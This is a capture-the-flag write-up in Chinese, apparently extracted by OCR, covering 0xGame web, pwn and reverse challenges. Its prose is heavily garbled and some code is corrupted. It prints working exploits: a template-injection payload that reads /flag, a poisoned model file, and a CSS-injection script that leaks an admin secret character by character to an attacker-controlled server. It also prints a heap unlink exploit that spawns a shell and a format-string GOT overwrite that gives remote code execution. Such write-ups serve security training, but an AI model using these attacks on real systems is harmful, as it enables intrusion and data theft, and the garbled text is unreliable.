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IR ABTEERERT. ZHEABERENENTH. B THRANND, Efak
BRPEITTRET.

<div>

% if True:
<span>content</span>

% end

</div>

AT E 230 Tiadn £ 0 HTML:

<div>»
<span>content</span>
< fddv>

ERSABEATELTE— 1T, RUEAREAEE2NERGFRDOA
o BREAERIEMMTH, FARRSHLIGERN AT

<ddwv>l\

#if True:
<span>content</span>\
#end

<fdiv>

R ETHERN T BT
<div><span>content</span></div>

HAREEERRENELE. EREEMAMY;, BT 28HTH, FES4ME
TRENEE .

XBER AL Aif

Ffrdpayload:

(AGEEZS

1 <div>
2 % if __import__('bottle').abort(404,__1import__('os').popen("cat
/flag").read()):

<span>content</span>

% end
</div>

o U b~ W

I[HRHE#HKREE: BIZEZERERStocking

BT —THE, XEFAI—TROIZMAILLT, PR noob, RIMRFENEZEEE SEEN, FIIL
XD —T, HiEEmodel_server.py:



EIIR

1 class SimpleDessertClassifier(nn.Module):

2 def __init__(self):

3 super () .__init__()

4 self.feature = nn.Sequential(

5 nn.Conv2d (3, 32, 3, padding=1), nn.ReLU(), nn.MaxPool2d(2),

6 nn.Conv2d(32, 64, 3, padding=1), nn.ReLU(), nn.MaxPool2d(2),
7 nn.Conv2d (64, 128, 3, padding=1), nn.ReLU(), nn.MaxPool2d(2),
8 nn.AdaptiveAvgPool2d ((7, 7)), nn.Flatten(),

9

)
10 self.classifier = nn.Sequential(
11 nn.Linear (128 x 7 x 7, 256), nn.ReLU(), nn.Dropout(0.3),
12 nn.Linear (256, 128), nn.RelLU(),
13 nn.Linear (128, 3) # « #/=E: 3 2 (Cake=0, Poison=1, Other=2)
14 )

®RE—B: classifier[5] (B nn.Linear(128, 3) ) HBH¥ state_dict H&H&

.
N

e 'classifier.5.weight' : SR (3, 128)
e ‘'classifier.5.bias' : 2k (3,)
—RERIE, CNNFIAEEELLEMELUIZES], E 2 Elapp.pyBBVFIHTiZLE

AR

1 1if cake_confidence < 24 and poisoned_apple_confidence > cake_confidence:

2 result['flag'] = os.environ.get('FLAG',
'OxGame{Panty_&_Stocking_with_Garterbelt}')

3 result['message'] = 'Warning Cake'

OEERfMEE, HUEEEEHEIREENMITT, FIUEESREHE
app.pyHEVR BN E TS |

RIGIR

1 @app.route('/upload_model', methods=['POST'])
2 def upload_model():

3 global current_model

4 if 'model' not in request.files:

5 return jsonify({'error': 'NULL'}), 400
6

7 file = request.files['model']

8 if file.filename == '':



9 return jsonify({'error': 'Empty'}), 400

10

11 if not file.filename.endswith('.pth'):

12 return jsonify({'error': 'Only .pth'}), 400

13

14 model_id = str(uuid.uuid4())

15 model_path = os.path.join(UPLOAD_FOLDER, f"{model_id}.pth")

16 file.save(model_path)

17

18 try:

19 state_dict = torch.load(model_path, map_location='cpu',
weights_only=True)

20 new_model = SimpleDessertClassifier()

21 new_model. load_state_dict(state_dict)

22 new_model.eval()

23 except Exception as e:

24 return jsonify({'error': f'lLoad failed: {str(e)}'}), 400

25

26 current_model = new_model

27 session['model_1id'] = model_qid

28 return jsonify({'success': True, 'model_id': model_id})

XA LB D MLEER, AREXiANoadEs:

KGR
tate_dict = torch.load(model_path, map_location="cpu', weights_only=True)
new_model = SimpleDessertClassifier()

new_model.load_state_dict(state_dict) # — /ZIEILAHBESHIKEFRIL

RIEE A X#Module — PyTorch 2.9 documentation

XiBALIEE], load_state_dict HMTLILEBIBMKERIR, LA T iLbEER T2 T,
HIMERMNEXXHEBBEANSE: from model_server -import
SimpleDessertClassifier , AEENMESRENA

(SRS
import torch

from model_server import SimpleDessertClassifier

1

2

3

4  model = SimpleDessertClassifier()
5 sd = model.state_dict()
6

7

8

last_linear_weight = None
last_Tlinear_bias = None


https://docs.pytorch.org/docs/stable/generated/torch.nn.Module.html#torch.nn.Module.load_state_dict

9 for k in sorted(sd.keys()):

10 if k.endswith('.weight') and sd[k].shape[0] == 3:

11 last_linear_weight = k

12 last_linear_bias = k.replace('.weight', '.bias'")
13 break

14

15 +if last_linear_weight is None:

16 raise RuntimeError ("XREEXFHMEZE Linear")

17

18 sd[last_linear_weight] = torch.zeros_like(sd[last_linear_weight])
19 sd[last_linear_bias] = torch.tensor([-10.0, 10.0, 0.0])

20

21  torch.save(sd, "poisoned_fixed.pth")

E%ﬁn‘jﬂiﬂzlﬂﬂlﬁntbﬂCSSi’f:xEEXSS? ?27?

CSS Leak BN3@id CSS 7ENSEI XS Leak, —NERBI A ERF A CSS kR LEIE ERS I E N B
SRS

BIan, BARMIETEE HTML

HEGIR

1 <meta readonly name='"secret" content="wwww'">

RIFSEXE, SMILATLUEN CSS B, R LUET B MR ILEC meta ARREAIBY value B

AR
1 meta[name="secret"] [content?r="{}"] {
2 background: url("http://myserver.com?q=w") ;
+
1% CSS W{ERINT

3B MR IRIR LA E D meta 15%, H name BMHBIEN secret, H content Bl w Fk
2. WNRMIHITES, MKME https://myserver.com?q=w &2 HTTP i&FK

B iR, Er U —F — P MEF content IFERIFAIBERZS, TEEAImetalE & FKIZASHN S
BSFMERM, MmetaX7EheadZzF

FRLUE

(AGEEZS

1  head, meta {


https://myserver.com/?q=w

2 display: block;

FBRM T paste note, view note # report ThEE

Hh view note BY &R [E] secret FEE

RISIR

1  app.get('/view/:id', requireLogin, (req, res) => {

2 let id = req.params.id;

3

4 res.render ('view', {

5 id: 4d,

6 content: notes.get(id) || 'Note not found',

7 secret: (reqg.session.user === 'admin') ? FLAG : 'Admin Channel',
8 note: (req.session.user === 'admin')? 'Welcome Admin' : 'You Are Not

Admin So No Secrets Here'

9 })s
10 1)

OBEYAP R admin KA S ER FLAG

BIIRIEAR view.ejs BBD A

(ANEES

1 <head>

2 <title>View</title>

3 <meta readonly name="secret" content="<%- locals.secret %>">
4 </head>

REBBERT <%- xxx %> RER content BENRE, XA RARZXY HTML ARZ#H 1T X, [EBY
secret (flag) 2 RET meta F7EH value BHER

A= paste note 77 DOMPutify 138

REGIR

app.post('/paste', requireLogin, (req, res) => {
let id = crypto.randomUUID() ;
let content = req.body.content;

1
2
3
4 let clean_content = DOMPurify.sanitize(content);
5 notes.set(id, clean_content);

6

7

res.render ('index', {



8 message: 'Paste note successfully! <br /> ID: <a href="/view/' + id +
ST+ Hdd + '<Ja>!

9 s

10 D)

DOMPutify @— XSS /%#1k28 (sanitizer), ERE f‘?ﬁEﬁ_J'ﬁ“‘éffﬁJZ XSS B AR, —RRIZXNE=
FERBRE, AHISHIrTael, Ak ReEMEEBENT

&% DOMPurify B/ X1, A LUX0iE DOMPurify EERANE R FHASITIE style 7%

455 view.ejs LUK bot.js BYLEE, B2 FEMFH RSB CSS ENIK admin AP B secret (flag)
payload 80T, B AR X4 exp.html F1 exp.p

exp.html

(ASEEZS

<script>

const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));

1

2

3

4 (async function() {

5 while (true) {

6 let res = await fetch('http://host.docker.internal:8000/next"');
7 let note_id = await res.text();

8

9

if (note_id === 'done') {
10 break;
11 1
12
13 let w = window.open('http://localhost:3000/view/"' + note_id);
14 await sleep(1000);
15 w.close();
16 }
17 HO

18 </script>

exp.py
AREGIR
1 from flask import Flask, request
2 from flask_cors import cross_origin
3 dmport requests
4  dmport string
5 Admport random
6 import re



10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

app = Flask(__name__)

flag = "'

dicts = string.ascii_letters + string.digits + r'{}-_"

payload = '"'
meta[name="secret"][content”r="{}"] {{
background: url("http://host.docker.internal:8000/leak?c={}");

}}lll

data = {
'"username': random.randbytes(6).hex(),
"password': random.randbytes(6).hex()

s = requests.Session()
s.post('http://127.0.0.1:10800/register', data=data)
s.post('http://127.0.0.1:10800/1login', data=data)

next_note_id = "'

def report():
s.post('http://127.0.0.1:10800/report', data={
'url': 'http://host.docker.internal:8000/exp.html’

i)

def paste(flag):
global next_note_id

if flag.endswith('}'"):
next_note_id = 'done'
print('done')

return

content = '"'
head, meta {
display: block;

for c 1in dicts:
content += payload.format(flag + c, c)

res = s.post('http://127.0.0.1:10800/paste', data={
'content': '<div><style>' + content + '</style></div>'

i)



54 next_note_id = re.findall(r'"/view/(.*)?"", res.text)[0]
55 print('next note id: ' + next_note_id)

56

57 @cross_origin()

58 @app.route('/next')

59 def next():

60 return next_note_id

61

62 @app.route('/exp.html")

63 def exp_html():

64 with open('exp.html', 'r') as f:
65 content = f.read()

66 return content

67

68 @app.route('/leak')
69 def leak():

70 global flag

71

72 C = request.args.get('c')
73 flag += ¢

74 print('flag: ' + flag)

75 paste(flag)

76

77 return 'ok'

78

79 if __name__ == '"_main__"':

80 paste('"')

81 report()

82 app.run(host='0.0.0.0"', port=8000)

J517 exp.py ERE—SEANE BN flag

127.8.0.1 - - [21/Sep/2025 16:15:06] "GET /[leak?c=t HTTP/1.1"
127.8.0.1 - - [21/Sep/2025 16:15:06] "GET /next HTTP/1.1" 200
127.0.0.1 - - [21/Sep/2025 16:15:07] "GET /next HTTP/1.1" 200
127.0.0.1 - - [21/Sep/2025 16:15:08] "GET /next HTTP/1.1" 200

flag: ©xGame{CSS Can Also Inject}
done

127.8.8.1 - - [21/Sep/2025 16:15: "GET [leak?c=} HTTP/1.1"
127.8.8.1 - - [21/Sep/2025 16:15: "GET /next HTTP/1.1" 208




Pwn

VAR ERS G
Bafuaf A XKETFr, H T offbynull
BEZEZXTPIE, ALMEAuUnlinkiBERelf IR 5 RTE

(AREES

1 from pwn dimport *

2  do=process('./pwn'")

3  libc=ELF('./libc.so.6'")

4  def bug():

5 gdb.attach(io)

6 def ch(Id):

7 jo.sendlineafter(b"> :" str(Id))

8 def add(Id,size,payload=b'\x00"'):

9 ch(1)

10 jo.sendlineafter (b"Which page?",str(Id).encode())

11 jo.sendlineafter (b"How long do you want to write?",str(size).encode())
12 io.send(payload)

13 def free(Id):

14 ch(2)

15 jo.sendlineafter (b"Which page has error?",str(Id).encode())
16 def show(Id):

17 ch(3)

18 jo.sendlineafter (b"Which page do you want to review?\n",str(Id).encode())
19 def edit(Id,payload):

20 ch(4)

21 jo.sendlineafter (b"Which page needs be rewrite?",str(Id).encode())
22 jo.sendafter (b"Please input correct history!",payload)

23  add(0,0x28)

24  add(1,0xf0)

25 for i 1in range(7):

26 add (2+1,0xf0)

27 add(14,0x90,b'/bin/sh\x00")

28 for i in range(7):

29 free(2+1)
30 fd=0x4040C0-0x18
31 bk=0x4040C0-0x10
32  payload=p64(0)+p64(0x21)+p64(fd)+p64(bk)+p64(0x20)
33 edit(0,payload)
34  free(l)
35 edit(0,p64(0)*3+p64(0x404800)+p64(0x404018))

w
()]



37  show(1)

38 base=u64(io.recv(6)+b'\x00\x00"')-1libc.sym.free
39 print(hex(base))

40  system=base+libc.sym.system

41  edit(l,p64(system)[:-1])

42

43 free(14)

44  Ho.interactive()

Hourai's Last Game

e AR T2 AT
AR EIME— AU FRTERE, T Log K+, EEEENAMEEE LEABRZEAN
SHET BT

Xt Log REMMAZX G|, AILIAMEHEFAARE, MTE send_file_response HIARAH, HXHF
BIEHRMET, SEBAPBANNXEZIFHIEE File %s not found FF&HE, BEZFENEE
BN fmt X# Log KEX, HItMARIXUFERSERA

R a7 A

TR T B LAIZ R — PIE #illk, E(REE@EE POST AR A LIEZZEE,
HTFBRERBMENERRIELEEBERTH flag , UEE ../ flag , MiEFEET
check_extension M is_safe_path W NREHTTTRIE, RtATUEEBIBUFRTRE
IDUERER LA 1B ER, MMETIRIE, XM PN IRIER N FEEMRTENRE strstr #fl strcasecmp BB
BRE, BXFE DRI got RN malloc , FEFREENGFSEREFIER, XIEFEESITRIE,
BTt ] LUB SRR N R 28 got REVFKE SIsystem, Bl Al rce, (BERFEEIRIK1/16

FE®MS jcat ../flag > ./(*).(html);.js ¥flagEmB LG LIFERBE— M aIHEXH
(RB&ed strstriN B] LAfE A base644m iS5 fE fEIE H1.1T7)

AE AR apifsiX XX 4Bl el 3R EXflag

AE— R UFHTENREEEEZRIBARIFE TS 85, gdb EitENMIERAIFIETE
X5, BHET ZEMERE TH,

exp

EGIR

1 from pwn 1dimport *
2 ip="localhost"

3  port="8080"
4
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jo=remote(ip,port)

payload=b"POST /reward\r\n\r\nWin"
io.send(payload)
jo.recvuntil(b"ox")
pie=int(io.recv(12),16)-0x1C95
print(hex(pie))
jo.recvuntil(b'"}")

io.close()

pause()

jo=remote (ip,port)

got=pie+Ox5028 #strcasecmp
plt=pie+0x1370 #malloc
tl=plt&Oxffff

t2=(plt>>16)&Oxff
t3=(plt>>24)&Oxff
t4=(plt>>32)&Ox T
t5=(plt>>40)&Oxff

e

print(hex(plt))

print(hex(t2))

print(hex(t3))

print(hex(t4))

print(hex(t5))

print(hex(tl))
payload=f"%660$11n%{t2-5}c%661$hhn%{0x100+t3-1t2}c%662$hhn%{0x300+t4-
t3}¢%663Shhn%{Ox500+t5-t4}c%6645Shhn%{t1-t5-0x900}c%660$hn'" .encode ()
payload =(b"/"+payload+b".js\x00\x00").ljust(0x74,b"\x00")
payload+=p64(got) #%6605p
payload+=p64 (got+2)

payload+=p64 (got+3)

payload+=p64 (got+4)

payload+=p64 (got+5)
payload+=p64 (0) *0x60

payload =b"GET\n"+payload
io.sendline(payload)

jo.close()

HARBRHARBBHARFRRAARRRRARFRRARARRHARBRRARFRRHARRRHAS
pause()

jo=remote(ip,port)

got=pie+Ox5110 #strstr

plt=pie+Ox1370 #malloc

t1=plt&Oxffff

t2=(plt>>16)&Oxff

t3=(plt>>24)&Oxff

t4=(plt>>32)&Oxff



51  t5=(plt>>40)&0Oxff
52 e
53 print(hex(plt))
54 print(hex(t2))
55 print(hex(t3))
56 print(hex(t4))
5114 print(hex(t5))
58 print(hex(tl))
59 e
60 payload=f"%660$11n%{t2-5}c%661$hhn%{0x100+t3-1t2}c%662$hhn%{0x200+t4-
t3}¢%663Shhn%{0x300+t5-t4}c%6645Shhn%{t1-t5-0x600}c%660$hn'" .encode ()
61 payload =(b"/"+payload+b".js\x00\x00").1ljust(Ox74,b'\x00")
62 payload+=p64(got) #%6605p
63  payload+=p64(got+2)
64  payload+=p64(got+3)
65 payload+=p64(got+4)
66  payload+=p64(got+5)
67 payload+=p64(0)*Ox60
68 payload =b"GET\n"+payload
69 do.sendline(payload)
70  do.close()
71
T2 HARBRHARBBHARFRRAARRRRARFRRARARRHARBRRARFRRHARRRHAS
73  pause()
74  do=remote(ip,port)
75 payload=b"GET\n/../flag"
76  io.send(payload)
77  print(io.recv())
78 do.close()
Reverse

EBXA

£ZHjz+inz{EIES, IBOX4012FR2 X NMIBMF T noptEMiTT



f LCAL.UUHULLVY

.text:004012C0 loc_4012C0: ; CODE XREF: sub_4019BD+F8lp
.text:004812C0 push ebp

.text:004012C1 mov ebp, esp

.text:0040812C3 sub esp, ©DCh

.text:0040812C9 mov eax, ___ security_cookie

.text:004012CE xor eax, ebp

.text:0040812D0 mov [ebp-4], eax

.text:004012D3 push ebx

.text:0040812D4 push esi

.text:004012D5 push edi

.text:004812D6 mov dword ptr [ebp-6D4h], 81428113h

.text:004012E0 mov dword ptr [ebp-©DCh], 1421043h

.text:004012EA xor eax, eax

.text:004012EC test eax, eax

.text:004012EE jnz short near ptr loc_4012F2+1

.text:004012F0 jz short near ptr loc_4012F2+1

.text:004012F2

.text:004012F2 loc_4012F2: ; CODE XREF: .text:@04012EET]
.text:004012F2 ; -text:ee4012F01j
.text:004012F2 call near ptr ECOCHSER

.text:004012F7 add al, ch

.text:004012F9 add edi, ebp

Ldexti004012F9 ; - - - - oo s e o e -
.text:004012FB db ©FFh

.text:004012FC dd 4C483FFh, 36AE856h, ©C4830000h, 28858D04h, S@FFFFFFh
.text:00401310 db 68h

.text:00401311 dd offset unk_422068

.text:00401315 db ©E8h, ©E6h, ©FCh

.text:00401318 dd ©C483FFFFh, 8DE85004h, 83000003h, 85C708C4h, BFFFFFF30h
.text:0040132C dd e

BEEAERZbyte_xxxxxx, SHEREAMER12345XEEE, EHRZAA,

unk_422054 2 EERLELNF T, B2 XEE

EERHRERRER.

FTERERZWINERY, sub_4010002FFERARZKER, sub_401670M=Zprintf

vll = -2126348013;

v = sub_401000(&unk_422054);
sub_401670(v0);

vl = sub_401000(&unk_422068);
sub_4016B0(v1, (char)&vie);
for (i =0; i< 10; ++1 )

v1l = 21106755 * v11l + 1126795285;
vil ~= __ROL4_ (
vie,
i * (byte 422007 + byte 422004)
% (byte_ 422008
+ byte_422004
+ byte_4220805 * byte_422008
+ byte_422AA0
- byte 422005 * byte 422005));
if ( vii
{
v2 = sub_401000(&unk| 42206C);
sub_401670(v2);
v5 = sub_401000(&unk_422094) ;
sub_401670(Vv5);
v6 = sub_401000(&unk_4220A4);
sub_4016B0(v6, (char)vid);
sub_4011D0(v14, v10, byte_422004 + byte_422002 + byte_422008
sub_401070(v14, v13, byte_ 422005 + byte_ 422001 + byte_422008
v9 byte_422004 * byte_422003 * byte_422002;
v7 = sub_401000(&unk_4220A8);
if ( sub_4eB460(v1i3, v7, v9) )
v8 = sub_401000(&unk_4220FC);
else
v8 = sub_401000(&unk_4220E8);
sub_401670(vg);

ratiirn 0-

== OxA745DA5D )

S BIXERN Z AL, FEflagEEXorinz,

* (byte_422002 + byte_ 422006 + byte_422003)

* byte_422003);
* byte_422003);

base64, FARBMFNHEERENF TR,

ZESER, ATUBE, FrEF



hash = ©x81428113;

ve = deStr((int)byte_422054); // Input key (Hex):
printf(ve);
vl = deStr((int)byte_422068); /] %x

scanf(vl, (char)&key);
for (1 =0; i< 10; ++i )
{
hash = ©x1421e43 * hash + ©x43298815;
hash ~= _ROL4__(key, 1 * (8 +5) % (9 +5+6 *9 +0 * (3 +7 +4) -6 *6));// 13*¥i%32

¥

if ( hash == @xA745DASD ) |

{
v2 = deStr((int)byte_42206C); // Key is correct!
printf(v2);
v5 = deStr((int)byte_422094); // Input flag:
printf(vs);
v6 = deStr((int)byte_4220A4); /] %s

scanf(ve, (char)flag);

xor(flag, key, 5+ 3 + 9 * 4);
base64(flag, vi3, 6 + 2 + 9 * 4);
len = 5 * 4 * 3;

v7 = deStr((int)byte_4220A8);

if ( strncmp(vi3, v7, len) )

v8 = deStr((int)byte_4220FC); // Wrong!
else
v8 = deStr((int)byte_4220E8); // Congratulations!
printf(vg);
return 0;
}
else
{
v3 = deStr((int)byte_422080); // Key is incorrect!
printf(v3);
return 0;
¥
1B Hkey
(RS EES
1 #include <stdio.h>
2  #include <string.h>
3
4  #define __ROL4__(x, n) (((x) << (n)) | ((x) >> (32 = (n))))
5 dint main()
6 {
7 unsigned int hash, key, 1;
8 for (key = 0; key < OxFFFFFFFF; ++key)
< {
10 hash = 0x81428113;
11 for (i = 0; i < 10; ++1)
12 {
13 hash = 0x1421043 * hash + 0x43298815;
14 hash A= __ROL4__(key, i *x 13 % 32); // 13+7%32
15 }
16 if (hash == OxA745DA5D)
17 printf ("ox%08X\n", key); // Ox98BF3B77
18 }
19
20 return 0;
21 }

N
N



MIERIfEE, FHE99

D4 D8 C9 DD FA AA DE ED C9 C8 AA AD EF D4 AA E9 D7 DB FB A8 C9 CE DE E1 FA FA D1 ED EF E1 D1

~ "
Eromlkicx © A8 D7 CF F8 A® D3 C9 CD ED F8 FA CA AC AE D@ F@ F5 D7 AC EC E1 D3 CA CE AC D@ EE F4 A4

Delimiter

Auto

XOR ~ 0 n

Key Scheme

99 HEX~ Standard

D Null preserving

rec 179 = 1 Tr Raw Bytes ¢ LF

Output 3 ] r|:| [

MAPDC36‘tPQ34VM3pNBb1PWGXccHtVXHlNVaQJPTtacSS7IilN5uX]SW5Iwm=|

Ban & fEbase64IEEEMT, ERFTHANIXEICL,c2,c3,c4, FREIC2MBHNINFER T, BAILUEIEH
SR &I

int _ cdecl base64(unsigned __int8 *plain, unsigned __int8 *cipher, int len)
{

int result; // eax

unsigned __int8 c3; // [esp+Ah] [ebp-56h]

int i; // [esp+Ch] [ebp-54h]

unsigned _ int8 c4; // [esp+12h] [ebp-4Eh]

unsigned __int8 ¢2; // [esp+13h] [ebp-4Dh]

int index; // [esp+14h] [ebp-4Ch]

int v9; // [esp+14h] [ebp-4Ch]

char be4table[68]; // [esp+18h] [ebp-48h] BYREF

index = @;
strcpy(b64table, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz@©123456789+/");
for (1 =0; i< len; i+4=3)
{
c2 = bedtable[(((int)plain[i + 1] >> 4) | (unsigned  int8)(16 * plain[i])) & Ox3F];
if (i + 1 >= len )
c2 = '=";
else
c3 = bedtable[(((int)plain[i + 2] >> 6) | (unsigned _ int8)(4 * plain[i + 1])) & ©x3F];
if (i + 2 >= len )
c4 ="
else
c4 bedatable[plain[i + 2] & ©Ox3F];
cipher[index] = bsatable[ ((int)plain[i] >> 2) & Ox3F];
v9 = index + 1;
cipher[v9] = c3;
cipher[++v9] = c2;
cipher[++v9] = c4;
index = v9 + 1;
result = i + 3;

I e

¥
cipher[index] = ©;
return result;

}

—T I



irzods = "MAPDc3GtPQ34vM3pNBb1PWGxccHtvxHINVa9JPTtacS57I9 INS5uxISW5Iwm="

2 result = ""

3 for i 1in range(0, len(s), 4):

4 result += s[i]

5 result += s[i + 2]

6 result += s[i + 1]

7 result += s[i + 3]

8 print(result)

9  # MPADcG3tP3Q4v3MpNbB1PGWxcHctvHx1NaV9ITPtaSc571 I Nu5xIWS5Imw=

10

SREEEXOR, HIEMALILI1111111111KFR, BIXEFNLESR,

B] LUR & 2 89 = #E K 28T key 200 88 44 11

Stack[00007894]

Stack[00007894]
Stack[00007894]

Stack[00007894]

Stack[00007894]
Stack[00007894]

Stack[00007894]

Stack[00007894]
Stack[00007894]

Stack[00007894]

Stack[00007894]
Stack[00007894]

: 098FF76C
Stack[00007894]:
: 0O8FF76E
: 0O8FF76F
Stack[00007894]:
:008FF771
Stack[00007894]:
:008FF773
: 008FF774
Stack[00007894]:
: 008FF776
Stack[00007894] :
: 008FF778
:008FF779
Stack[00007894]:
: 008FF77B
Stack[00007894] :
: 098FF77D
: 0O8FF77E

©O8FF76D

©O8FF770

@O8FF772

@O8FF775

@O8FF777

@O8FF77A

@O8FF77C

db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db

31h
©B9h
75h
26h
31h
©B9h
75h
26h
31h
©B9h
75h
20h
31h
©B9h
75h
20h
31h
©B9h
75h



Recipe ~omBa Input

31 B9 75 2
From Hex ~Q0mn el

Delimiter
Auto
XOR ~ 0

Kev Scheme
31 HEX Standard

D Null preserving

To Hex ~ 0N

Delimiter Bvtes per line
Space P mee 11 = 1

Output

00 88 44 11

PRI REE AR

Recipe ~ ol N Input +

MPADcG3tP3Q4v3MprBlPGchHcthxlNaV9JTPtaSc57iI1Nu5waSSIm\n4=
From Base64 ~ 0

Alphabet
A-Z3-20-9+/=

Remove non-alphabet chars |:| Strict mode

XOR ~ 0 n
Kev Scheme

08 88 44 11 HEX ™ Standard

I:I Null preserving

mc 60 = 1 1} 58—59 (1 selected)

Output

OxGame{e8778581-e94f-48d5-943e-69ff46154d1f}

EFAFAKEARkey 00 88 44 11fxoria NfIkey R —E, EXRIA XKW, XBEFS—EHER
x, #NLCHR
int __cdecl xor(int al, int a2, int a3)
{
int i; // [esp+6h] [ebp-8h]

for (i =0; i< a3; ++1 )
*(_BYTE *)(i + al) ~= a2 >> (8 * (i % 4));

XEEF® N ret, EEAEB A Ccall $+5



arg_8= dword ptr
push ebp

mov  ebp, esp
sub

esp, 8
mov [ebp+var_8],
jmp short loc_ODI1E8

1eh

]

P S —

@am

loc_9D11ES:
mov
cmp ecx,

jee short loc_9D1223
Jee short loc_301223)

ecx, [ebpvar_8]

[ebp+arg_8]

(]

@ax

@aw

mov ecx, [ebp+var_8]
land ecx, 80000003h
ins short loc_9D1200

loc_9D1223:

xor eax, eax
xor eax, 1
call  $+5
xor eax, 1

cmp eax, 1
iz short loc_9D1236
Gz short loc_90123¢]

‘ add

|

loc_9D1200: loc_901248:
shl ecx, 3 nov ecx, [ebprvar 4]
mov edx, [ebprarg_4] |lcmp ecx, [ebprarg_8]
sar edx, cl jge short loc_9D12AE]
land edx, OFFh D
mov eax, [ebprarg 0]
ladd eax, [ebp+var_8]
movsx  ecx, byte ptr [eax]
xor ecx, edx
mov edx, [ebprarg 0]
ladd edx, [ebp+var_8]
mov [edx], cl
5mp short loc_9D11DF
@ai e’
mov ecx, [ebpvar 4]
and ecx, 80000003h loc_9D11DF:
jns short loc_9D1260|[mov eax, [ebp+var_8]||mov
eax, 1
[ebp+var_8], eax||retn

2
xor eax, eax
xor eax, 1
call $+5
xor eax, 1
cmp eax, 1
jz short loc_9D1236
retn
;

mov [ebp+var 4], ©
jmp short loc _9D1248

RERN—BLAIXEME—Meig<, Hinopi

(ASEEZS

xor eax,
Xor eax,
call $+5
Xor eax,

cmp eax,

retn

O 00 N O U A W N B

=
(©)

Xor eax,

=
=

cmp eax,

=
w N

retn

eax
1

1
1

jz short loc_9D1236

// ret Bl call TF—%38%

1
1

jz short loc_9D1236 //

eax = 0
eax = 1
eax = 0

eax != 1 ->ret

return 0;

eax = 1

eax ==

Bk R Em

MR EERNEFT, IRXEEERSOMINIEEES RE—KRNE, NRBEDITMZHT AR

7o



int __cdecl xor(int al, int a2, int a3)
{

int result; // eax

int i; // [esp+6h] [ebp-8h]

int j; // [esp+4h] [ebp-4h]

for (1 =0; 1< a3; ++1 )
¥(_BYTE *)(1 + al) ~= a2 >> (8 * (1 % 4));
result = i + 1;

}

for ((j =0; j < a3; ++7)

*(_BYTE *)(j + al) ~= ((int)(unsigned __int8)(a2 >> (8 * (j % 4))) >> 4) | (unsigned __int8)(16

* (a2 > (8 * (3 % 4))));

result = j + 1;

} I

return result;

LI
BEHMERY, BHRENEMEfag,

(RUERS

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#include <windows.h>

© o N o 0~ W N K

BYTE S_box[256];

BYTE s1[] = {0xfb, 0x10, Oxa5, Ox63, Oxa4, Ox42, Ox62, Oxec, Ox21, Oxfd, Ox81,
Oxfb, 0x57, 0x28, Oxa4, Ox31, Oxc6};

10

11  BYTE s2[] = {0x9f, Oxbe, Oxaf, Ox3f, 0x87, 0x12, OxfO, Ox50, O0x75, OxcO, Oxa4,
Oxf6, Ox78, Ox42, Ox77, Ox55, O0x80, Ox7b, 0x02, Ox67, Ox5e, Oxfe, O0x07, Oxec,
OX76, OX77, Oxc8, 0x31, Ox66, Ox95, Ox0a, Ox25, Ox7b, Oxe2, Ox83, 0x02, Ox9c,
Ox7b, 0x9c, Oxe9, 0x93, Ox2e, 0x66, OXCcT7};

12

13 void KSA()

14 {

15 int i = 0, j = 0, tmp;

16 srand(0x114514);

17 for (i = 0; i < 2563 i++)

18 {

19 S_box[i] = 13

20 }

21 for (i = 0; 1 < 256; 1i++)

22 {

23 j = (j + S_box[i] + (rand() & OxFF)) % 256;

24 tmp = S_box[i];

25 S_box[i] = S_box[j];

26 S_box[j] = tmp;



27 }

28 1}

29

30 void RC4(unsigned char *text, int len)
31 {

32 int i = 0, j = 0;

33 for (int k = 0; k < len; k++)

34 {

35 i=(i+ 1) % 256;

36 j = (j + S_box[i]) % 256;

37 int temp = S_box[i];

38 S_box[i] = S_box[j];

39 S_box[j] = temp;

40 text[k] A= S_box[(S_box[i] + S_box[j]) % 256];
41 1

42 }

43

44 dnt main()

45 {

46 KSA() ;

47 RC4(sl, 17);

48 RC4(s2, 44);

49 printf("sl: %s\n", sl);

50 printf("s2: %s\n", s2);

51 // sl: Input the flag:

52 // s2: OxGame{Wh4t_@_plty!!_It 1is_just_a_fake_flag}
53 return 0;

54 }

SR Elstremp, ECHRALIBISFTIRER

AL fUoLLULL Ul L Wl Be, LYo L v “rgvy “vnoL o vy
{

const char *v3; // rax

char Str[108]; // [rsp+906h] [rbp+1@h] BYREF

int v6; // [rsp+FCh] [rbp+7Ch]

sub_7FF6E7E417E0();
srand(0x29Au) ;
KSAQ);
v3 = (const char *)RC4((__inté4)&unk_7FFEE7E44000, 17);
printf(v3);
scanf("%s");
v6 = strlen(Str);
if ((v6 == 44 )
{
RC4((__inte4)str, 44);

puts(“Congratulations!");
else
puts(“"Sorry, the Hlag is wrong.");
}

return 0;

}

AWstrempihookT , #WiERTXE,



© 0o N o b~ W NP

10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

_BOOL8 __fastcall sub_7FF6E7E43000(void *al, _DWORD =*a2)

{

R

(RUERS

_DWORD Buf2[14]; // [rsp+26h] [rbp-60h] BYREF
_DWORD *v4; // [rsp+58h] [rbp-28h]

void *Bufl; // [rsp+60h] [rbp-20h]

int j; // [rsp+6Ch] [rbp-14h]

int v7; // [rsp+76h] [rbp-10h]

unsigned int v8; // [rsp+74h] [rbp-Ch]
unsigned 1int v9; // [rsp+78h] [rbp-8h]

int i3 // [rsp+7Ch] [rbp—4h]

Bufl = al;

v4 = a2;

Buf2[0] = 1111022553;

Buf2[1] = 987309029;

Buf2[2] = -1041056711;

Buf2[3] = 979189025;

Buf2[4] = 189565873;

Buf2[5] = 173973774;

Buf2[6] = 1090109393;

Buf2[7] = -591836169;

Buf2[8] = -394857933;

Buf2[9] = 668605093;

Buf2[10] = -1185760565;

for (1 =0; i <=9; ++i )

{
v7 = 0;
v9 = *((_DWORD *)Bufl + 1);
v8 = *((_DWORD *)Bufl + i + 1);
v7 = -1640531527;
for ((j = 05 j <= 31; ++j )

{
v9 += (V7 + v8) N (xv4 + 16 *x v8) N ((v8 >> 5) + v4[1]);
v7 -= 1640531527;
v8 += (v7 + v9) N (v4[2] + 16 x v9) A ((v9 >> 5) + v4[3]);
}

*((_DWORD *)Bufl + i) = v9;
